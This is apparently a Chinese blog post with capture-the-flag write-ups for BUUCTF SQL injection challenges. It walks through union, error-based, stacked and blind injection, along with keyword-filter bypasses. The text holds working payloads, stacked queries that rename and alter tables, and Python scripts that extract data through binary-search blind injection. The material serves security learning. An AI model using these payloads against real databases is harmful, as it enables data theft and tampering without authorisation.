BUUCTF-SQL注入

[极客大挑战 2019]EasySQL

考点:sql注入-万能密码

[极客大挑战 2019]LoveSQL

考点:union联合注入

解题

1、用万能密码就登进去了
2、用admin和fc04b11f3d0602213859e9c721e53116登进去还是一样的
3、order by查出3个字段
4、爆当前库名:

' union select 1,1,database() #

->库名:geek
5、爆表名:

' union select 1,1,group_concat(distinct table_name) from information_schema.tables where table_schema='geek' #


->根据题目,表名应该就是l0ve1ysq1
6、查询所有的字段名:

' union select 1,1,group_concat(distinct column_name) from information_schema.columns where table_name='l0ve1ysq1' #


->id,username,password
7、

' union select 1,1,group_concat(password) from l0ve1ysq1 #

[极客大挑战 2019]BabySQL

考点:union联合注入

解题

1、用万能密码登陆,回显过滤了or ,双写绕过:

' oorr 1=1 #

2、用order by查出3个字段

' oorrder bbyy 1 #

3、爆当前库名:(回显union和select都被过滤,双写绕过)

' ununionion seselectlect 1,1,database() #


->库名:geek
4、爆表名:(回显from、where被过滤)
注意information里的or

' ununionion seselectlect 1,1,group_concat(distinct table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #


->表名:b4bsql,geekuser,有2个,肯定是b4bsql
5、爆字段:

' ununionion seselectlect 1,1,group_concat(distinct column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' #

->id,username,password
6、

' ununionion seselectlect 1,1,group_concat(passwoorrd) frfromom b4bsql #


BabySql过滤了or,union,select,from等关键字,看回显缺什么再写一遍就行了,其它和上一关LoveSql一样。

[极客大挑战 2019]HardSQL

考点:报错注入

解题

1、打开bp fuzz,union|order by|等号|空格|substr等被过滤
2、爆当前的数据库名:
空格绕过:用括号()包起来就行

'or(extractvalue(1,concat('~',database())))#

用updatexml()函数是一样的:

'or(updatexml(1,concat('~',database()),1))#


->库名:geek
3、爆表名:
等号绕过:用like替换

'or(extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like("geek")))))#


->表名:H4rDsq1
4、爆字段名:

'or(extractvalue(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1")))))#


->字段:id,username,password
5、

'or(extractvalue(1,concat('~',(select(password)from(H4rDsq1)))))#


flag{f5629ada-833f-4eb8-a6f2-49
没出全,因为extractvalue和updatexml()都有最长32的长度限制
这时候就要想到mysql的一些函数,substr,left,right

  • substr(字符串,起始位置,截取长度)
  • left(字符串,截取长度)#从左往右截取*
  • right(字符串,截取长度)#从右往左截取*

注意:substr被过滤了

'or(extractvalue(1,concat('~',(select(right(password,20))from(H4rDsq1)))))#

BUUCTF-[强网杯 2019]随便注

考点:堆叠注入
换表

解题

1、网页标题是easy_sql

输入1、2有回显,其余都无查询结果
单引号字符型注入
2、order by判段出2列
3、爆库名:

1' union select 1,group_concat(schema_name) from information_schema.schemata%23


过滤了select|update|delete|drop|insert|where|.关键字
4、看师傅们的wp,这里用堆叠注入
查询所有表:

?inject=';show tables;%23


->表名:1919810931114514和words
查询第一个表1919810931114514中的列:

?inject=';show columns from `1919810931114514`;%23

(本地测试了一下,表名如果是数字,表名要加反单引号

->1919810931114514表的列名:flag
查数据:

?inject=';show flag from `1919810931114514`;%23

没结果。。。

查询第2个表words的列:

?inject=';show columns from words;%23

->words表有2个列:id、data
根据一开始输入1,查询出的结果是一个数字和一个字符串,而words表结构是id和data,判断出words是查询的表,GET传入的参数inject的值赋值给id。
后台sql语句大概是:select id from words where id='1';

把数字表名改成words,words表名改成words1。换了后,words1是默认查询的表,words只有flag一个字段,页面查询的是id,所以把words表的flag字段改为id(改列名时注意加上数据类型):

';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100);%23

?inject='or '1

笔记

堆叠注入
原理:在sql中,分号代表一条语句结束,但如果用分号分割,同时执行多条sql语句,就会造成堆叠注入,例如:
select * from testtable;show databases;
测试一下:第一条删除id为2的数据,第二条查询全部数据:

[GYCTF2020]Blacklist

考点:堆叠注入
handle语句替代select查询

解题

1、经测试,是字符型注入
2、查列数:
url:

?inject=1' order by 1%23

->2列

3、用union联合查询:

?inject=1'union select 1,2%23

回显有过滤

4、用堆叠注入,查库名:

?inject=1';show databases;

->库名:supersqli
查表名:

?inject=1';show tables;


->表名:FlagHere、words
先查看FlagHere中的字段:

?inject=1';show columns from FlagHere;


有flag字段

再查words表中的字段:

?inject=1';show columns from words;


有id和data两个字段

和“[强网杯 2019]随便注”这道题类似,但是现在这题过滤了renamealter,不能换表

学到用handler语句替代select查询

handle官方文档
参考:mysql查询语句-handler
handler table_name open; #打开表table_name,声明一个名为table_name的句柄
handler table_name read first; #获取第一行数据
handler table_name close; #关闭打开的句柄
payload:

?inject=1';
handler FlagHere open;
handler FlagHere read first;
handler FlagHere close;%23

BUUCTF-[GYCTF2020]Ezsqli

考点:无information的盲注+无列名注入

解题

1、
1  回显Nu1L
2  回显V&N
3  回显Error Occured When Fetch Result.
1' 回显 bool(false)
参数id处存在注入
1 or 1=1 回显SQL Injection Checked.

上面测试共有4种回显:

  • Nu1L或V&N           有查询结果
  • Error Occured When Fetch Result. 无查询结果
  • bool(false)            sql语法有错
  • SQL Injection Checked.      存在过滤
    2、
    输入1a,打开bp fuzz

过滤了union|and|or|union select|if|in|information
(本来我用id=(1)测试,一些过滤没测出来,心凉,遂请教师傅,在没有产生注入的情况下,把测试关键字插入到正确的sql语句中)

看上面的过滤,不能用报错注入

1^1 回显Error Occured When Fetch Result.
1^0 回显Nu1L
可用bool盲注

3、通过盲注爆表:

import requests

url='http://c631cfe0-e07d-41e6-be58-60f6e4cc8f06.node3.buuoj.cn/'
table_name=''
for i in range(1,50):
    for j in range(40,128):
        payload = "1&&(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),%d,1)))=%d"%(i,j)
        data={'id': payload}
        r=requests.post(url,data=data)
        if 'Nu1L' in r.text:
            table_name=table_name+chr(j)
            print(table_name)
            break


->表名:f1ag_1s_h3r3_hhhhh,users233333333333333

4、无列名注入
先判断列数:
union select不能用,payload:1^((select 1)>(select * from f1ag_1s_h3r3_hhhhh))

1^((select 1)>(select * from f1ag_1s_h3r3_hhhhh))   回显bool(false) 
1^((select 1,2)>(select * from f1ag_1s_h3r3_hhhhh))  回显Error Occured When Fetch Result.
1^((select 1,2,3)>(select * from f1ag_1s_h3r3_hhhhh)) 回显bool(false) 

->2列

通过第一个字符判断flag在哪一列:

1^((select 'f',2)>(select * from f1ag_1s_h3r3_hhhhh))	 回显Nu1L
1^((select 'g',2)>(select * from f1ag_1s_h3r3_hhhhh))	 回显Nu1L,和理论不一致
1^((select 1,'f')>(select * from f1ag_1s_h3r3_hhhhh))	 回显Nu1L,一致
1^((select 1,'g')>(select * from f1ag_1s_h3r3_hhhhh))	 回显Error Occured When Fetch Result.,一致

所以flag在第2列,且第一个字符是f
其实一般有2列的话,flag大部分都在第2列

爆数据:

import requests

url = 'http://a8f8d1ca-23b3-4e08-88cc-bc2c636ae798.node3.buuoj.cn/'
flag = ''
result = ''
for i in range(1,50):
    print(i)
    for j in range(40,127):
        result = flag+chr(j)
        payload = '1^((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(result)
        data = {'id': payload}
        r = requests.post(url,data)
        if 'Error' in r.text:
            flag += chr(j-1)
            print(flag)
            break

解释:
1^((select 1,'a')>(select * from f1ag_1s_h3r3_hhhhh)) ,1^0=1,回显Nu1L

比如第一个字符,小于等于f时,10=1,回显Nu1L;大于f时,g>f,11=0,回显Error Occured When Fetch Result.,所以要j-1,记录此时的flag

在下次循环,对于mysql中的大于号,前面一样的,继续比较后面的

笔记

1、bypass information_schema:
参考:
https://osandamalith.com/2020/01/27/alternatives-to-extract-tables-and-columns-from-mysql-and-mariadb/
https://www.anquanke.com/post/id/193512

  • mysql.innodb_table_stats(需要mysql>=5.6) ×
  • sys.schema_auto_increment_columns ×
  • sys.nnodb_buffer_stats_by_table
  • sys.x$schema_flattened_keyss
  • sys.schema_table_statistics
  • sys.schema_table_statistics_with_buffer

2、无列名注入
常规获取表名是:

payload="1&&(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))=%d)"%(i,j)

information_schema库被过滤时,将查询语句和列进行比较,可以查出多少列
好像这个表里只能有1行

参考:

https://f4de.ink/2020/06/10/GYCTF2020-Ezsqli/
https://www.gem-love.com/ctf/1782.html
http://mo0n.top/2020/02/24/gyctf2020-writeup/#toc-heading-10

[SWPU2019]Web1

考点:bypass information、无列名注入

解题

1、发现在title处存在sql注入:

打开bp,fuzz,过滤了and|or|#|%23

1'/**/&&/**/'1'='1
1'/**/&&/**/'1'='2

是单引号字符型注入
2、爆列数:

0'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

->22列
3、判断回显位:

0'union/**/select/**/version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

回显位在2、3位
4、union联合查询爆表名:

0'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'


5、无列名注入

0'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

通过加减得出user表有3列。

笔记

无列名注入:select 字段 from 联合查询

看到,使用union联合查询,列名p,user会被数字1,2,3代替

select `2` from (select 1,2 union select * from t0926)a;


解释:
①2加反单引号,表示它是列名
aselect 1,2 union select * from t0926这个表的别名,可任意

[极客大挑战 2019]FinalSQL

考点:bool盲注

解题

1、

页面hint了sql盲注,点击5个按钮,get传参分别为1-5
?id=1^0  真,返回正确
?id=1^1  假,返回ERROR!!!
用bool盲注
2、过滤了union|空格|and等等,用括号包住绕过空格

写脚本,用二分去爆破库名,表名,列名,flag数据,1^(sql判断语句),如果页面返回正常,说明id=1,sql判断语句为假;反之如果页面返回ERROR!!!,说明id=0,sql判断语句为真
(后面flag数据很长,所以位数i就设大了点)

import requests
url_ = "http://e11a9824-28ed-43c3-ad08-c4979caacc5b.node3.buuoj.cn/search.php?id="
name = ""
for i in range(1,1000):#i表示库名的第i位
    low = 32
    high = 128
    mid = (low + high) // 2
    while low < high :
        payload = "1^(ascii(substr(database(),%d,1))>%d)" % (i, mid)#库名爆出geek
        #payload = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)" % (i, mid)#表名是F1naI1y
        #payload = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='F1naI1y'),%d,1))>%d)" % (i, mid)#id,username,password
        #payload = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" % (i, mid)
        url = url_ + payload
        response = requests.get(url)
        #库名的当前字符比mdi大
        if "ERROR!!!" in response.text:
             low = mid + 1
        #比mid小
        else:
            high = mid
        mid = (low + high) // 2
    if mid == 32:
        break
    name = name + chr(mid)
    print(name)

[CISCN2019 华北赛区 Day2 Web1]Hack World

考点:sql注入-bool盲注

解题

1、打开题目:
D4kRg0.png

1 回显:Hello, glzjin wants a girlfriend.
2 回显:Do you want to be my girlfriend?
1' 回显:bool(false) 
1^1 回显:Error Occured When Fetch Result.
1^0 回显:Hello, glzjin wants a girlfriend.
1 or 回显:SQL Injection Checked.

测试总结共4种回显:

  • Hello...或Do you... 有查询结果
  • Error Occured When Fetch Result. 无查询结果
  • bool(false) sql语法有错
  • SQL Injection Checked.有过滤

2、打开bp,fuzz一下,过滤了空格,用括号绕过
3、用二分法爆破一下,脚本如下:

import requests

url = "http://e5396176-4c24-4c09-a8af-917d636cde2a.node3.buuoj.cn/index.php"
payload = {
    "id" : ""
}
result = ""
for i in range(1,100):
    low = 32
    high = 128
    mid = (low + high) // 2
    while(low < high):
        payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),%d,1))>%d)" % (i,mid)
        r = requests.post(url,data=payload)
        if "Hello" in r.text:
            low = mid+1
        else:
            high = mid
        mid = (low + high) // 2
    if(mid == 32):
        break
    result = result + chr(mid)
    print(result)

[GXYCTF2019]BabySQli

当时比赛的题目描述:

刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码!

考点:
1、uesername和password分开验证
2、md5绕过验证

解题:

1、打开靶机后有个username和password的登录框

F12之后,访问search.php,base32 decode,base64 decode,得到:

select * from user where username = '$name'

只对username做了判断,所以注入点在username
查字段数,order by查不出来,可能过滤了or,大写绕过
fuzz后,发现or、()、=被过滤

' Order by 4#

' union select 1,2,3,4#

->3个字段
猜测可能是id,uesrname,password这样
username输入admin,返回wrong pass!,输入其他的返回wrong user!
至于为什么输入admin对了,一般出题username最可能用admin

参考师傅们的wp:
https://www.gem-love.com/ctf/453.html
https://artd33.github.io/2019/12/29/Training-MySQL-I-Training-MySQL-II/
payload:
username:' union select 1,'admin','4ded286ec88b56f6b0da58034f991714'#

[BJDCTF2020]Easy MD5

考点:bypass md5($var,true)

解题

打开题目是这样的:
/leveldo4.php

1、根据题目,直接用ffifdyop这个字符串吧

<?php
echo md5("ffifdyop", true);//'or'6�]��!r,��b

在mysql里,字符串或变量作布尔型判断时,以数字开头的字符串会忽略数字后面的字符。例:password=‘6xxx’,结果为true。

所以,这里相当于万能密码永真。
2、

/levels91.php?a[]=1&b[]=2
3、
/levell14.php

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 

POST:param1[]=1&param2[]=2
password:Pur3

[SUCTF 2019]EasySQL

考点:堆叠注入、sql_mode=PIPES_AS_CONCAT

解题

在输入非0的数字时,都返回:

输入其他任意非数字(除0)的,无任何回显
有长度限制。

打开bp fuzz测试,过滤了union|and|or|from|sleep|extractvalue|updatexml|information。
尝试用堆叠注入
查库名:

查表名:

尝试输入6,7

再输入3,4,5

判断出注入点在select_expr
sql语句大概是select $_REQUEST['query'] from Flag
学习学习
源码中的sql语句是:

$sql = "select ".$post['query']."||flag from Flag";

预期解

因为这里网页是php语言,所以是mysql数据库
本地看一下这个||

第2个字段p||2在这里,无任何意义

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode模式:pipes_as_concat 来实现oracle 的一些功能。

关于sql_mode的解释查看:sql-mode官方文档

sql_mode中的PIPES_AS_CONCAT把||视为字符串的连接操作符而非或运算符,和字符串的拼接函数Concat相类似。
payload:

1;set sql_mode=PIPES_AS_CONCAT;select 1

拼接起来是:

$sql = "select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag";
  • select 1; 和后面的查询语句构成堆叠注入
  • 设置为该模式后,会select 1select flag from Flag的查询结果连接起来。
    本地测试下:
    Bxbot0.png

非预期解

*,0
sql语句为:select *,0||flag from Flag,即select * from Flag

总结

这题遇到了注入点在select_expr的情况;还有mysql中,用sql_mode=PIPES_AS_CONCAT转化||的方法。

[RCTF2015]EasySQL

考点:报错注入

解题

1、打开题目:
yemGgU.png
进入/register.php
注册登录后有修改密码的功能,有修改后台数据的地方就可能存在二次注入
yenKMD.png
2、再回到/register.php,测出在加双引号注册后修改密码时返回报错信息
yeuy0H.png
获取表名:

Hh0" or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))#

弹出invalid string!,有过滤哇,用Bpfuzz一下,过滤了空格
获取表名:

Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))))#

yelyxP.png
获取列名:

Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')))))#

ye1BeU.png
获取数据:

Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(flag))from(flag)))))#

ye1HfA.png
哈哈哈哈,再看别的表
3、获取users表的列名:

Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')))))#

ye3ipn.png
获取数据:

Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_her))from(users)))))#

ye3J0O.png

Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)))))#

ye8gr6.png
返回一堆xxx,肯定前几行的数据都是xxx,用regexp正则匹配real_flag_1s_here列中f开头的数据
yeDQaR.png

Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))))#

yeJ6HK.png
mid,right函数都被过滤了,逆序一下

Hh0"or(extractvalue(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))))))#
原文地址:https://www.cnblogs.com/wrnan/p/13635873.html